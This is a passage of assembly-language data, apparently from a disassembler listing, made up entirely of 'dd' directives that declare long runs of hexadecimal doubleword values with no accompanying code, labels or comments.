		dd 30024CB9h, 3683F3F6h, 0E002E36h, 0BD4A10CFh,	0FC0E77B8h
		dd 767D523Dh, 0A97528D4h, 0FCF9345h, 585C94AFh,	764F5305h
		dd 0DDEB6185h, 0CF7C4A44h, 760CC0E8h, 0B6DABBEAh, 0D99EAAD3h
		dd 6D96D287h, 8D9B71EDh, 0A51732C6h, 9E2DA041h,	4F74251Fh
		dd 65D7DEB9h, 78A9D0B3h, 0CAF5E8FAh, 8273114Eh,	6BF6CE5Eh
		dd 889AA982h, 2588D162h, 4E1BC135h, 0D78E65CAh,	7F365ADAh
		dd 61555A51h, 0CE261ABEh, 937EC435h, 4D58D510h,	0E078F7D6h
		dd 54ACE461h, 0C980234Ch, 37617EF8h, 0E7C2ADCEh, 0D9B9F493h
		dd 3004F3C7h, 9B1A8377h, 0F97DA9F4h, 1F7CB755h,	0B2DF7299h
		dd 0F3113C4Ah, 21A3BC2Bh, 0CF08413h, 484C8070h,	0E14476C6h
		dd 612AC9A7h, 0D98FE74Ch, 7F102D34h, 0CCDC1ECFh, 59EEAFDh
		dd 0AE5B005Ch, 1A9B6906h, 257BCBECh, 61329F9Dh,	92020343h
		dd 96048B27h, 5799DF01h, 0C8F0898Ah, 53253B4Fh,	0E920DAECh
		dd 0D982891h, 8A9286D9h, 1E8252AEh, 869F946Bh, 9D0A17F8h
		dd 5B53B5ABh, 29B99469h, 0F1A563EAh, 4B54C8D1h,	3BA5AAFCh
		dd 1B7C69CDh, 771ABC3Dh, 98191894h, 693E91CFh, 3AB37B22h
		dd 43034179h, 5F90BECh,	4AA9BA2Bh, 3241F9B2h, 73D26003h
		dd 2C4C5331h, 175D81C2h, 72AE0D67h, 0E82F04AAh,	4A2EEBAFh
		dd 37685B2Dh, 6502354Fh, 3C1D8028h, 6B56CE73h, 51BC044Ch
		dd 0FCC71C10h, 2C3D992Fh, 10EFC1C4h, 631AD32Ch,	8EF2D62Ch
		dd 0D905A3D6h, 0C83CEC51h, 0B03E3289h, 0B23E8AC4h, 30B97258h
		dd 0C4C1EE69h, 0B546FCAFh, 0FAAB1BBFh, 0D48EE50Bh, 646D25EAh
		dd 750177EBh, 69A20DA0h, 1CA79681h, 0DF8E2AE6h,	5F227F7Ch
		dd 1E74D26Dh, 0EB4305DFh, 228096CFh, 23CF3C25h,	0B3FC1C81h
		dd 0E406AB94h, 0FA4852FFh, 31449409h, 9BC51B56h, 68A313D4h
		dd 26C119EAh, 0B4DC6FD2h, 0B90C241Ch, 3D890D3Bh, 0CA6037D3h
		dd 3388CA1Fh, 0F8D8635h, 0C6C34AD4h, 3B8C5AD6h,	779ED8EDh
		dd 0AF308CFFh, 0F228887Fh, 792CA515h, 0A6F6DCF8h, 602E86A0h
		dd 304BEA86h, 0D362F863h, 650241DDh, 95F09BFCh,	0F5ED6553h
		dd 67D94408h, 0F71D57EFh, 0B2CB99ACh, 2C5B3CC4h, 98318C77h
		dd 307A91F0h, 0C862FF52h, 62D18E29h, 4EA8B86Ah,	3291689Fh
		dd 314CE13Fh, 5D0C6A91h, 4323B48h, 0FF45CA68h, 90306762h
		dd 722A1E72h, 0F17533D2h, 87AE03A8h, 0E1536486h, 49F55BC0h
		dd 84AC644Eh, 6971D46Ah, 698D02CBh, 0C2AE43D1h,	0BE1F0461h
		dd 0B0623798h, 981A7668h, 509F13E9h, 3B0A0909h,	12A3A966h
		dd 0E8D30582h, 2B92AC1Dh, 4A3C51A2h, 0CA758381h, 0FEFEB5AAh
		dd 8BD475A2h, 8A34737Eh, 47DD4E66h, 5CBCB82h, 742E3FA6h
		dd 2E617EE3h, 0FBF0AC98h, 78D09E29h, 0AF785C63h, 0C92B2651h
		dd 0DBA1E67Bh, 0B40656C9h, 807AB8EAh, 0ADF1192Bh, 5FE1D7F8h
		dd 0ED332808h, 4065A1CBh, 5F7D7DFFh, 9E329921h,	0A0ADC4EDh
		dd 65752971h, 82DC2C6Ch, 26A633D4h, 0D3603718h,	0D28A5768h
		dd 1D1FCDF0h, 999E19Ch,	7F3003C3h, 6C294A0Ah, 323C5C6Bh
		dd 3459C01Dh, 0CA3725C9h, 9DB13591h, 7ECDBB0Ah,	0BF5D4EC0h
		dd 3A8C548h, 0B77B2A3Dh, 0CC7C44B0h, 0A29149D8h, 5A45EAABh
		dd 19FF6D4Ah, 53DD6DF1h, 6848097Ah, 0E309DDD9h,	81C61128h
		dd 0D22C46Eh, 0BB27BDB6h, 0F1633A72h, 0DFEE5DB1h, 0A1EF548h
		dd 0DE1A2924h, 5E13640Fh
		dd 0BAE34359h, 36A73AA8h, 0A8C582D7h, 3C94318Dh, 5716C7A3h
		dd 0E9BB6F84h, 7B1D338Eh, 5E7B4F4Eh, 1D4FA5B8h,	3E25096Bh
		dd 0DDADE550h, 0A402D617h, 6BA0868Ah, 8D91F3DEh, 3D08F709h
		dd 0E8157979h, 2EF4FDFDh, 7EAD9F5Dh, 72339D85h,	4AB7CF5h
		dd 0F849D16h, 6E50BE15h, 0DA1819E9h, 0A9454893h, 58BAA84Dh
		dd 5DB99B94h, 82836498h, 6AA1A092h, 0D397B3F6h,	0F18A686Eh
		dd 9792D2A2h, 0CA622657h, 0A0C59474h, 3747B40h,	0DBE76C27h
		dd 0DBCF63E4h, 727258B6h, 6322526Ch, 86AAF347h,	6E0B0079h
		dd 912491F0h, 4C463903h, 5F27EB8Eh, 0C83A20BCh,	4DF3370Eh
		dd 0C16DA04Bh, 32C6BD80h, 305649EEh, 8FC50C00h,	1D22280h
		dd 0A53E81DBh, 0C002E1C8h, 40C696E5h, 6447C9DCh, 21E50419h
		dd 9A8E2BC2h, 6CE4FA4Eh, 194DDC9Dh, 0F579993Ch,	73EAB988h
		dd 6DA7D411h, 0D1B7592h, 0B05018A4h, 0F8E91682h, 0CB3D522h
		dd 7283D030h, 2BFB50CDh, 0E0A2CD48h, 0D2A354B2h, 0E724E289h
		dd 0FB24006Dh, 809D0129h, 0FF258C2Eh, 71B23A6Fh, 65704D95h
		dd 1BF898ABh, 0D6731974h, 83CDB763h, 7BC6509Eh,	5B5EA6E9h
		dd 3DD851Ch, 6491E88Bh,	5BBA5659h, 0E2C4D5Bh, 960928D4h
		dd 0C55D1B11h, 0AD7C5F3h, 0DC702F81h, 6171FAE7h, 0F182C461h
		dd 57EA0AB4h, 8773003Ch, 5456B474h, 0DE6ED072h,	60B726F4h
		dd 0FB5A65BCh, 2CB8E1F7h, 0E63DE29Bh, 0F2CF77DFh, 0B112F47h
		dd 5467C706h, 41AC5367h, 7C064FBEh, 5BADB042h, 18BDA49Ah
		dd 46F7D6B9h, 616F107Eh, 5F4A581Bh, 0BE292E7Fh,	63D69792h
		dd 0D71F7059h, 7EE5973Ah, 0C3DC9476h, 29D5C445h, 18184733h
		dd 861147D5h, 0EB4B5C99h, 0A06F3E2Dh, 66C7D2F0h, 641452E3h
		dd 1AD267B6h, 660223A0h, 861E395Ch, 5FB2D0BCh, 0E322C734h
		dd 9589E23Bh, 51422AA3h, 5B4787AAh, 49C98FC2h, 7D9E871h
		dd 97DBC128h, 11B29015h, 0D28D6CBCh, 852C6F4Fh,	0D1E53B3Dh
		dd 0D3B91A11h, 483D13F4h, 4CA88B89h, 500AE127h,	195A8454h
		dd 1BACEC66h, 748C6B30h, 92F79A35h, 0B8DE028Eh,	0B49997ECh
		dd 0D1E3F4AEh, 53B5BB05h, 0E9415521h, 9041FDDCh, 3C31549Ah
		dd 8A17629Dh, 5AD00F8Ah, 0D0952EF6h, 0A18DAD68h, 40EBAD58h
		dd 76A8386Fh, 0F2C7791h, 214067F4h, 300D61C0h, 34C71D2Fh
		dd 0E67DAD67h, 2375A7A9h, 9069DA91h, 0A6E9A93Ch, 0C599BD1Ah
		dd 3B864DC9h, 0F4EBE7EEh, 938F1C29h, 4BEEDh, 0E633D464h
		dd 1FD05715h, 5F43502Fh, 2BE84FAFh, 0AC6AA675h,	0DDC4FAEDh
		dd 732B9890h, 0A8DFBA7h, 0E6003D08h, 0A0D843E0h, 121782EAh
		dd 57E86C7Ah, 6017B733h, 4552D59Eh, 2619C7CDh, 0F7751C34h
		dd 13B907EDh, 88B628Eh,	53B810B1h, 2F3A8E8Eh, 4B33458Dh
		dd 682F2D19h, 6E3151D2h, 362A1514h, 0EC38E932h,	0FA5408BCh
		dd 0B530B678h, 0E10AE4EEh, 0DB3E3E84h, 64227D3Dh, 759D0D4Fh
		dd 0D166C29Fh, 0A7105735h, 309215F1h, 0A720B31Ah, 2105879Eh
		dd 1DDBFA77h, 70AF20F1h, 9CE3206Eh, 63D3499Fh, 4A12B996h
		dd 724DBA6Eh, 27E1A8EBh, 1B8ADCC8h, 0CD801A14h,	5209EB7Fh
		dd 815692FFh, 0B84A9195h, 541DA2C2h, 9F85FBCCh,	0C00DD4F6h
		dd 566B80F4h, 633F5E24h, 0E06AE5ADh, 9A37ED8Fh,	0E845FACFh
		dd 566337B9h, 0DBF02AF4h, 61AD0030h, 26B9036Ch,	6FD444B2h
		dd 25DFAA77h, 23DE23h, 7AF0A505h, 2C94C40Dh, 40A8AC0Ah
		dd 4143954Ch, 8EB0B9D0h, 2D1223DCh, 16FAD8F3h, 0EDFC0E06h
		dd 0DBA61E03h, 0DE01AFC4h, 0B87CA4C6h, 8C4C4FB1h, 0C6DA945Bh
		dd 3605B53h, 34DCCE12h,	937A0DEFh, 845E08BEh, 98DC42D1h
		dd 1BE00081h, 0F83DBD99h, 0EE6740C2h, 87E5C0FCh, 0F29CD2CCh
		dd 0A353601Dh, 0A25678FCh, 14EFD21Ch, 4FB0CA9Ah, 9543147Fh
		dd 0EEA8379Eh, 122F27C5h, 0C530E94Ch, 1BB6B7ECh, 4EF7EBFFh
		dd 909E419Ah, 0C633D8B3h, 0F1EA7E97h, 9C2525D0h, 0AE7658DBh
		dd 0E1A073BBh, 6E44CAA4h, 4D40F164h, 812D216Dh,	0D0473CD9h
		dd 5236E7F7h, 9E1DFD2Fh, 0BC425266h, 9C3317CFh,	0F535868h
		dd 8DDFFA16h, 0EAB1BC9h, 5F57C5C3h, 0E3A00AB4h,	0F97A1D7Fh
		dd 8CA21C3Fh, 3FFC3E5h,	0B976D700h, 0E7E6E04Fh,	63BDE122h
		dd 0D561E994h, 0B619215Dh, 4EC87A20h, 3DDE5893h, 6295D05Ah
		dd 49B21474h, 359387D4h, 9092196Dh, 210C011Bh, 0CB433BE4h
		dd 0FAA9FDA6h, 0B421ED0h, 0DE57EC28h, 0AC590902h, 97835F63h
		dd 0EDDE12C5h, 0E15EEDD8h, 9668379h, 8609ED04h,	9F5CF0B8h
		dd 7D2832C6h, 761934E0h, 71D2BE3Ah, 0B301E34Bh,	0E903A402h
		dd 0A4D517DDh, 0CB8DFA58h, 0B1AA9F8Ch, 0D930C4F9h, 0E14FC09h
		dd 66F76572h, 95BAF3D2h, 4158C3Ch, 35E3575Dh, 5E122A4Eh
		dd 0FB4ED7F1h, 74186D55h, 0C0BFF573h, 0D8367250h, 21179938h
		dd 805FC8E7h, 0C4226390h, 720D965Ch, 859A036Ch,	0DD4FE6E1h
		dd 0A6DF4D92h, 0CACB581Bh, 495DFF0Bh, 0F1CBBDC1h, 15DD55AFh
		dd 3BD45DECh, 7E036180h, 5A2104CCh, 5419A21Ch, 0BA07AFC9h
		dd 7E5197FBh, 6EB72203h, 982040C5h, 52C3A9BFh, 0FEC05B1h
		dd 36BBB405h, 7BD72999h, 0C1F48680h, 0A1205432h, 1369C136h
		dd 43AF6A98h, 1CFE2893h, 60930D6h, 2FC86A5Bh, 4E1B2AB6h
		dd 0AD72BB8Ah, 75F7C721h, 61AE7CB6h, 3D8D5D50h,	0B1D786F9h
		dd 4E2C9775h, 117BD726h, 5209DBABh, 8D48B079h, 4F632913h
		dd 0C3A0C1BFh, 26DBE708h, 0B075A0F0h, 6CBCF230h, 4D69BF24h
		dd 0FDE0D993h, 45577E90h, 0E4CED1B2h, 0ADD9AA0Ch, 79EBF59Bh
		dd 0BB9112BAh, 6EDB9332h, 4349E197h, 94D9E542h,	37CE5BD2h
		dd 0D269EF03h, 0EF819826h, 5BD48Dh, 226BFA92h, 129AECDEh
		dd 0FAF132B1h, 7E8944B0h, 78B9D6A6h, 5888ED1Ah,	0E08F91EDh
		dd 5A7B87Bh, 0B6A53D1Fh, 0B0FAF88Ah, 0E5641CCDh, 0C9491970h
		dd 60469925h, 7AF2E830h, 81C327D3h, 0BAB75E7Fh,	49A2866Ch
		dd 38EFB246h, 0CE7E1109h, 0F4DDD62Bh, 7BA92CF3h, 5E8257B9h
		dd 0AA0B9A23h, 0FBBC640Fh, 0D6E9736Dh, 2ED00A3Ah, 2AF769C0h
		dd 3AA77AEFh, 5A81DA65h, 0EBEB064Ah, 7DCF1F16h,	4A7F112Bh
		dd 458277E3h, 48A5F503h, 0AE3EE17Dh, 0F5A3B6B2h, 1A46692Ah
		dd 0C2921F84h, 56DBEA9Fh, 0FF355229h, 0F5F1B8Ah, 0A67B0BB0h
		dd 0E66B7ED5h, 85DEA418h, 74ACF3F5h, 18A21DB7h,	8FDBA86Ch
		dd 0A724FFA8h, 0E402A270h, 0B42A4613h, 0AF1724ACh, 2716A980h
		dd 4D17580Eh, 0E3FAA27Fh, 5C3F8DADh, 32319FA7h,	9EA055FEh
		dd 0D6EF7E7Bh, 0EB40CCACh, 3D3DD1A6h, 0FD4BAD61h, 293B6F0Bh
		dd 5E45CDD3h, 0EA651595h, 0EA4AE1EBh, 8B3E0B71h, 0EA4327DAh
		dd 5848B1E4h, 9F2F70F9h, 0A8FF3BF9h, 58704A5Dh,	0E166723Ch
		dd 0A96B5516h, 736E4644h, 0C18F8F14h, 6A74C963h, 632DEF4Dh
		dd 1C82250Ch, 1CF2B475h, 0A79F914Dh, 242AB770h,	0D0223171h
		dd 53ABE22Eh, 39A2D9FBh, 727392F9h, 0B55878A6h,	0E0C92BA2h
		dd 94CD397Ch, 0AA109ADEh, 0FE405A79h, 0CC66DD8Ch, 0DA73E72Eh
		dd 86C5CD59h, 5E400B0Eh, 9AF272D9h, 1044AED7h, 903BD5B8h
		dd 712A241Ah, 0AA7BF47Ah, 0B7DF5721h, 67E1178Ch, 0C776E9C7h
		dd 1FC8C607h, 0EB5DA9h,	98C36E44h, 3CEC6A10h, 96571E0h
		dd 0A59E974Fh, 0C59CF670h, 5436DB4Fh, 28800F7Ch, 0C69EAC8Dh
		dd 87E152B7h, 0D85541C8h, 7BEC8271h, 0ED12F5CEh, 5B803FE5h
		dd 39553BC1h, 6139841Ah, 5C40F1E8h, 0FA7B476Ah,	4A02661Dh
		dd 2190D8E8h, 96C40B9Ah
		dd 5158997Fh, 32BD2D2Fh, 4E88E6E7h, 0B91A6192h,	0F4E2892h
		dd 0F1134D33h, 0AFC3ED6h, 5994109h, 0C0BDF24Dh,	738A578h
		dd 9C6A817h, 0FE042CF7h, 0DB88611h, 0FA39068Bh,	0D5760720h
		dd 5E932AE9h, 31056642h, 5C6A49FDh, 0A17BE388h,	0CAF5EF3Ch
		dd 0CF66926Fh, 0FB93994h, 357DF857h, 3DA65572h,	6575F3DAh
		dd 69A8DAE8h, 7CE4C608h, 0F8BEAEF3h, 4B6BBABBh,	47FE465Dh
		dd 821BC0h, 1E5A220Dh, 863C05h,	5C9263AEh, 5636140Bh, 94A34C0Ah
		dd 448EBA32h, 2588054Bh, 617F97D8h, 22C58867h, 0FC956239h
		dd 91E8CFBh, 26259F23h,	340A8FC1h, 0BA08E19Eh, 43AAB63Dh
		dd 0ADFBCB1Fh, 7BAB21D9h, 82BF9C0Ah, 4C79F62Eh,	0A4911D9Ah
		dd 54CE4607h, 4A9A4E3h,	69685966h, 83F9D80h, 26772C67h
		dd 0D26A056h, 0B4355D84h, 8DC22CBDh, 7EE8422Ch,	0F57C7Fh
		dd 0BDD78C32h, 0F8DFC2ABh, 38BFC815h, 31B8E64Ah, 6DD1D27Dh
		dd 3675A344h, 23ED6F0Dh, 0ACC11713h, 2F23A875h,	652E893Eh
		dd 0FED44E53h, 697B23D2h, 9C5A1B9Ch, 4DA30BCCh,	54023DD0h
		dd 0B158824Ah, 0F12BF264h, 81E1D56Eh, 2AA997CAh, 3044FAECh
		dd 6DDE558Bh, 0DFD6019h, 64308A46h, 0C3695402h,	1078454Eh
		dd 8F5C18D4h, 72406745h, 2AB5CED3h, 11D4DCB6h, 2FAB6082h
		dd 663425BCh, 113FFD87h, 6FC4B322h, 0A16AF528h,	0B11EAE01h
		dd 390E8A00h, 0F7780DF9h, 2FC79591h, 8BA471F3h,	44056A1Eh
		dd 398C04AFh, 9A03C8C5h, 2E8D37CDh, 0C050AE4h, 6E3F0D17h
		dd 615E2C4h, 9025ABC2h,	7BC65592h, 0D791CC39h, 0EF1AA9D0h
		dd 258830D0h, 689A0A9Eh, 2853B2F7h, 0EEEE22C0h,	1EBAE26Eh
		dd 0AC6F78AFh, 6CF4E20Fh, 7EB41A13h, 8AA7F0Dh, 26A516A9h
		dd 0BBB22687h, 0CF2ACF4Ah, 0D5130587h, 25D994FEh, 0ACEEE401h
		dd 0A15D9FC5h, 50570AD0h, 9E78CDE8h, 0A702E120h, 68B14FF9h
		dd 707388Eh, 90950D93h,	1C785397h, 0AF7C5EE4h, 52933D6h
		dd 0C244F160h, 0EC36484Fh, 6E53D7CFh, 0FA38BD7Eh, 1A13C007h
		dd 42B1A834h, 94821DF7h, 9F93FAB9h, 1A5DECBAh, 4B51CCE4h
		dd 0BF15B71Ch, 71A12CB6h, 0AFA8D02h, 55B63516h,	0BC12DF27h
		dd 0D0BA4E26h, 6317B2EEh, 0EAF3B5B0h, 0B7DC9747h, 9097F619h
		dd 573D57F6h, 3AEC75DFh, 1058517h, 0BBE7AA3Dh, 0FEEC72D2h
		dd 0C2953E72h, 0D4712536h, 5241E9C8h, 2FD8D5E1h, 73AF1AFAh
		dd 9552DDC8h, 0BB42241Eh, 1684B4CBh, 0FB085D3Eh, 595561C7h
		dd 35A761C5h, 6ADB3399h, 0E6D27053h, 0ECC16957h, 735EB13Fh
		dd 5AAF8031h, 7160D58Bh, 205909CCh, 1C3FBC12h, 0BA274601h
		dd 0B1B94981h, 89BA6652h, 0A2BF9E7Dh, 0C6D3B830h, 0D81B0DEh
		dd 0B18B3Bh, 0C567BBAh,	90FF60E1h, 0B9CD3F68h, 324FB0Fh
		dd 0F1C6037Bh, 0C35693E0h, 1378AA1Ah, 17C45BB8h, 6BDA99D9h
		dd 1EF0B474h, 5940A2Eh,	7F0E550Ch, 2404C98Ch, 74F49EDBh
		dd 616F8D3Fh, 732E32D2h, 0E7B91919h, 0E89E0E15h, 14CDC743h
		dd 4B3E0FA9h, 26FDCBC2h, 0BD01D08Fh, 78E602F2h,	0B088736Fh
		dd 1641D118h, 43EE36D4h, 86D1CFh, 9FCAC15Ah, 0E77A02D8h
		dd 38AEB7A6h, 97153722h, 68523EA2h, 0EAD9FFF0h,	6C5F0BEh
		dd 621B0F52h, 0A9483785h, 4DE08FF7h, 0D366BA2Dh, 0E03586F2h
		dd 45536BABh, 0BD8723EBh, 0DC042975h, 62C1B42h,	0E8FD3091h
		dd 0DA8CFD05h, 87F6F2A6h, 3F75836Dh, 3D5A2215h,	212BB4AAh
		dd 84A2102Fh, 0E35B4CC0h, 115E18CBh, 150621B2h,	0DDB65B51h
		dd 0A42BD998h, 8CE274DAh, 0FCFB2914h, 8976DA4h,	197B7C31h
		dd 4BFC1AD2h, 0BB57E7FCh, 0CCF74BDCh, 0E0385235h, 619D2FF3h
		dd 0EC6FCCA8h, 0F9B9774Dh, 2CFF637Eh, 0C37B9DF7h, 3AC2983Ah
		dd 0EBE93C6Ah, 0F8EB389Dh, 0EE5625BCh, 44982D49h, 284839AAh
		dd 0FE3892E1h, 0C0AE499Fh, 77976FFh, 47BE435Dh,	7603F7C6h
		dd 0C92F63B9h, 0F2D8CC14h, 2F6876B4h, 291D7A71h, 7231A71Fh
		dd 493DDF1Ah, 1A625C31h, 97FC0260h, 917D35A0h, 4EADE925h
		dd 0DF93EB0Fh, 0CB89129Fh, 8B3D11FFh, 2A04C969h, 20C43FD0h
		dd 5E69782Dh, 5433993Dh, 0F0F255BDh, 2155E2E6h,	0B60A17B1h
		dd 0F12857CFh, 8A88C4D7h, 2BC6516Ah, 0AA498757h, 35DF7D0Ch
		dd 0CC47CF01h, 4DBD91DFh, 9A9E56Fh, 950AEB4Ch, 7711B982h
		dd 412CE3D5h, 81C9EBDh,	0F094F53Ah, 90ADF00h, 6B475398h
		dd 12F1C6F8h, 0DAAAA40Bh, 0FD211041h, 602914F8h, 0D7B54DE1h
		dd 0F87AD87Dh, 34DB7C31h, 64678570h, 23149F90h,	5B04A666h
		dd 75F99E9Dh, 9193F874h, 8A580603h, 0B33989E4h,	777FBD04h
		dd 76789A36h, 0E34AC271h, 2EAAD65Dh, 62718514h,	0E8683EFBh
		dd 3C490302h, 643E9772h, 0D157261Bh, 1F284CCBh,	62C274DEh
		dd 5A966169h, 0ABEB3ECCh, 72A432B3h, 55D0C2A2h,	0B7C60272h
		dd 417BE69Bh, 0FB3A96EEh, 0EC767D99h, 6D64F369h, 99F90A51h
		dd 20AD213Fh, 4B8B0E77h, 6987C294h, 445E2E84h, 435B52CDh
		dd 9D834C56h, 4936A6DFh, 0A99A23B8h, 96C767Ah, 9E6C258Ah
		dd 0F73E9727h, 0AF2055E5h, 78F043C5h, 46F14C1Eh, 0B0C92445h
		dd 0BF0D16C8h, 0A7C08CDh, 66056E37h, 955D6D44h,	7AFDB4EAh
		dd 6B3C779Dh, 8EB66F14h, 0A9BC038Ch, 14668C5Eh,	2634608Ah
		dd 0C4E13365h, 1CE2DF8h, 4C5CA765h, 0A0AA405Ch,	6ACE87BEh
		dd 5FE39F25h, 4790BF27h, 0A9186FF1h, 6152AB05h,	0C817029Eh
		dd 51EA1152h, 2596E6B4h, 9C358673h, 65AF3E22h, 644D8A54h
		dd 0A0808F5Dh, 4FF3F0F1h, 793E1B98h, 0EB1C8D69h, 5ABA5692h
		dd 0AB73B15h, 2F2EA695h, 112625A1h, 0D6EF58C3h,	0F03BB929h
		dd 89032BD9h, 0E3B78AF4h, 7F9CE637h, 6D985C87h,	7FE3C282h
		dd 0D65AF4EBh, 0D909FC24h, 987D4BB2h, 356922F2h, 6C2B24E4h
		dd 9F1C75D6h, 0AD831BE8h, 4F544C9Fh, 41FCA925h,	8EE5B7h
		dd 0D438BA6Fh, 0CAFA81A4h, 0AA2A737Dh, 0F681643h, 0BC158477h
		dd 0A430524Bh, 9F979E7Bh, 8E3A400h, 0CD2E9D09h,	48E08025h
		dd 9B69DB34h, 39A0864Ch, 9501ADFBh, 64714437h, 0FC8D47EDh
		dd 5C57C373h, 4DCE1B30h, 0A41F6863h, 0B50456EFh, 77C07461h
		dd 0D6F5F2Eh, 3E505C8Eh, 3B613C31h, 39E0CB38h, 0F9B877D6h
		dd 0FA79FAB1h, 0C78A3191h, 2DF8C8FAh, 0B59A582Ch, 957B839Ch
		dd 9247B9E0h, 8BC5A21Bh, 0E1BABD1Ch, 0E19A96A5h, 0C6961075h
		dd 5E2B3462h, 0C5E783DCh, 0DAD2B04Fh, 3F5EE8CAh, 46670E61h
		dd 0A3C9B8C7h, 3CB66F26h, 0E64FB96h, 42FDD2DAh,	53580003h
		dd 4D768026h, 0E9EFD78h, 88229FF1h, 0E5CB058Fh,	0B9CDCADFh
		dd 0D4E4EBD1h, 0C67E1C1Ah, 0C02AA828h, 0EEDF3D73h, 3D4BEE5Bh
		dd 0D7AB1B8h, 0F91B64ABh, 0E2FDD7F1h, 0B1BF7505h, 54B85698h
		dd 0BAAB8A36h, 3627D509h, 0DAB3596Eh, 0D50F3547h, 9B11D820h
		dd 9CE1C472h, 1BF74E1Dh, 59FA365Fh, 2CF81C40h, 6CEE769Dh
		dd 78372E5h, 733CA9F2h,	4454CCBEh, 0BAD9AC17h, 4AAE87D5h
		dd 0C11F6EEDh, 97CDFA10h, 17B86A25h, 0A2C219CFh, 7B637010h
		dd 212230D5h, 8557A16Ah, 0B5FE810Dh, 0A6C31490h, 9854105h
		dd 0D9F819D8h, 483314A9h, 69E318ABh, 99037809h,	175D277Bh
		dd 7DF8227Fh, 0AFE65853h, 2141B788h, 6436FE7Ch,	44B4D45Eh
		dd 1004F45Ch, 0D0BF0D05h, 561A9531h, 0AF66DA24h, 5993E52Dh
		dd 0DD21F066h, 4FFD8604h, 2FAD45C7h, 7BAB46F9h,	6C2E0346h
		dd 0DFA79F80h, 0B85F57ADh, 766438F1h, 29E8BA51h, 25FC42CBh
		dd 0D82D847Dh
		dd 5C209D6Fh, 8AA5A4C5h, 66F690DBh, 3798E2ACh, 7F596F75h
		dd 85454E6Ah, 0FB8BC917h, 6336876Dh, 181F5BB0h,	2872F0EAh
		dd 0A0227D3Eh, 0D74FA06h, 42BB59F7h, 5A7048A1h,	5B25325Ch
		dd 6B9936D4h, 262F2CE5h, 0E6796755h, 7A778F4Fh,	0F00ED51Fh
		dd 7069478Ch, 1ED3A422h, 53C922B9h, 9F0FB461h, 5323A395h
		dd 0F218F6h, 1C06A210h,	369F69B7h, 9E599CB7h, 102A45B9h
		dd 4845AF5Ch, 0F4DAC810h, 5E4A6F8Fh, 67A4377Eh,	0C545D87Eh
		dd 0D3CDC5B4h, 7CC25FAEh, 2912789h, 4B53C191h, 0AAF598FBh
		dd 6CB76BEAh, 111F97BAh, 7428F819h, 5CDE3EC0h, 64925A01h
		dd 0A434C85Dh, 30465BFEh, 0EB0EA4DEh, 1AD08258h, 0D6529C8Ah
		dd 3F3A24BDh, 678CF20Ch, 415EA07Ah, 69EE1FF6h, 362441FBh
		dd 2E55D7EEh, 9C96DFCFh, 0D9F4E6B2h, 10D10D41h,	0B3C3F74Eh
		dd 8514C257h, 0FC21DC2Fh, 0EA66FF90h, 4CBFA0B8h, 0E9394B20h
		dd 0FEE65924h, 0E9AA794Bh, 0A512733Ah, 0DEA08542h, 0CA78D396h
		dd 13A4CB36h, 2F90B5EFh, 1ACB22B6h, 3A3E5A61h, 6798EBC6h
		dd 0C6FC1DEFh, 4A0C1443h, 98299EB5h, 80805A6Fh,	6E6228D3h
		dd 2E2FAC62h, 0EFC858BFh, 0F8C288B1h, 8D4E9C5Bh, 40ABF53Ch
		dd 5C2DFAA9h, 0F0264EAh, 0F9DC85B6h, 34842E66h,	0FFEA8EF8h
		dd 0BC6EE59Bh, 0A20A29D0h, 4E221E73h, 258B6B1Dh, 0AB4CA2EDh
		dd 327B8899h, 2391E4F6h, 7BE64957h, 628F5F72h, 0C32A5755h
		dd 0B8F6AE78h, 0F7DE5CE8h, 329B4420h, 0A3C920D5h, 0BAD35C11h
		dd 0A191A3CFh, 0D6BF5DCDh, 0DE9E2E14h, 0CCEB18B4h, 5AE2A634h
		dd 5D8FF5F1h, 0D2E41FF1h, 3FBDEA80h, 6B445A36h,	1B98D697h
		dd 1DE6CE68h, 717F5070h, 0E0C1969Bh, 0E5CACDB9h, 0E4C5888Ch
		dd 382D2302h, 2A3AC933h, 72EFDF21h, 0EE3907EAh,	0F5EBD871h
		dd 0DC8E0759h, 4384A5E3h, 0F58EDFDh, 0E1C3CDAEh, 18836A62h
		dd 8994CC96h, 4AE6F08h,	0AF782CD0h, 0C8E8A620h,	0CE60828Ch
		dd 5021633h, 0CB714540h, 47B8B49Ch, 0AE8D4D97h,	0AF342308h
		dd 6817DE38h, 0FD483370h, 918555D2h, 3013907Dh,	0CF6F5E7h
		dd 3D02DF5Dh, 80F9F702h, 0E50CD863h, 0F30A0B3h,	0A6AB502Dh
		dd 73E1660Ch, 0FCE68AF1h, 9EBBD7CDh, 0DA8320C1h, 0D18E829Ch
		dd 8D466C25h, 0A36E03CCh, 5F2134F3h, 3DD91EF5h,	8E1C3DCh
		dd 0FA9BB5D2h, 0C68D76C7h, 4634E08Bh, 77030EBDh, 67E73E7Dh
		dd 0F321FB38h, 0C192D008h, 0E9B28D4h, 650ABBC2h, 26494E90h
		dd 0EE23C7AFh, 26C67A57h, 0A04E02F6h, 96153F1Eh, 25C2374h
		dd 934384B2h, 0FB9342E5h, 0FF61EF9Ch, 3CF3E68Eh, 15D56D5Ah
		dd 0C31EC027h, 0A0F5EF9h, 0FEA3FE87h, 0CC2AC67Ah, 534927F4h
		dd 0EEA6F2BFh, 4A5A2C30h, 4531C50Dh, 65F6E8B7h,	8122B9E3h
		dd 9F43ABE2h, 80202936h, 3A361ECh, 77743C94h, 6E52AD15h
		dd 3940C20Eh, 589C7B59h, 2C79C3EAh, 0A3457B07h,	33F23383h
		dd 0E3858658h, 8A9B3C46h, 7C71CBA0h, 42AA86D5h,	0DEDE8B2h
		dd 0DFFCDBF2h, 4CBBF294h, 8C506EC5h, 35AB4D39h,	634A5C21h
		dd 0F2242B4Fh, 923FEFA4h, 7B595D4Fh, 0F84EAB9Bh, 1427A5E6h
		dd 0AF42725Bh, 0FBC1AE5Eh, 0F5F86AFCh, 6D870431h, 8B1842DBh
		dd 69910B40h, 181331F9h, 97CC651Bh, 0EB4435F5h,	5D45E96Ah
		dd 0DB5C328Ch, 4A8A194h, 0E5ECE469h, 0ECE8CEC8h, 5115D294h
		dd 2976CB48h, 0F04E1884h, 0BE8C9664h, 9B009AE5h, 0F8DF764h
		dd 0E3A24BABh, 317D4E48h, 9636E89Dh, 0D6B8D467h, 0E76955C3h
		dd 0EE15C258h, 0A473FA00h, 3A6877E8h, 3C5BCC35h, 0AC9A6203h
		dd 346B2741h, 9E0AB5F1h, 0AD77D84Dh, 51B8C9A4h,	0FA3F68E1h
		dd 0A784D6EEh, 2D3D69B6h, 5CAFD921h, 0BB8141C0h, 8C36F27Eh
		dd 0B97AEA06h, 86011BDCh, 388A65BFh, 0F34B5E5Ah, 26EFB032h
